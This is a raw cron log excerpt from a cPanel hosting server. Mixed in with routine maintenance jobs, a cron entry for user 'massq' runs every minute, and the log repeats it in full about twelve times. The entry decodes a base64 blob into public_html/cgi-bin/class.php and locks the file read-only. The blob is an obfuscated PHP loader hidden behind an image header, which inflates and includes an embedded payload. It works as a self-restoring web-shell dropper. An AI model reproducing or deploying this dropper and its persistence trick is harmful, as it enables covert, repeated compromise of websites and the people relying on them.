Sep  3 11:05:01 server CROND[12143]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:05:01 server CROND[12145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:05:01 server CROND[12148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:05:01 server CROND[12149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:05:01 server CROND[12147]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:05:01 server CROND[12144]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:05:01 server CROND[12150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:06:01 server CROND[13027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:06:01 server CROND[13028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:06:01 server CROND[13029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:07:01 server CROND[13502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:07:01 server CROND[13503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:07:01 server CROND[13504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:08:01 server CROND[13894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:08:01 server CROND[13895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:08:01 server CROND[13896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:09:01 server CROND[14295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:09:01 server CROND[14296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:09:01 server CROND[14297]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 11:09:01 server CROND[14298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:10:01 server CROND[14690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:10:01 server CROND[14692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:10:01 server CROND[14693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:10:01 server CROND[14702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:10:01 server CROND[14706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:10:01 server CROND[14709]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:10:01 server CROND[14711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:10:01 server CROND[14710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:11:01 server CROND[15580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:11:01 server CROND[15582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:11:01 server CROND[15581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:12:01 server CROND[16059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:12:01 server CROND[16057]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:12:01 server CROND[16058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:12:01 server CROND[16063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:13:01 server CROND[16440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:13:01 server CROND[16441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:13:01 server CROND[16442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:14:01 server CROND[16824]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:14:01 server CROND[16825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:14:01 server CROND[16823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:15:01 server CROND[17241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:15:01 server CROND[17243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:15:01 server CROND[17242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:15:01 server CROND[17246]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 11:15:01 server CROND[17244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:15:01 server CROND[17248]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:15:01 server CROND[17245]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:15:01 server CROND[17247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:16:01 server CROND[18079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
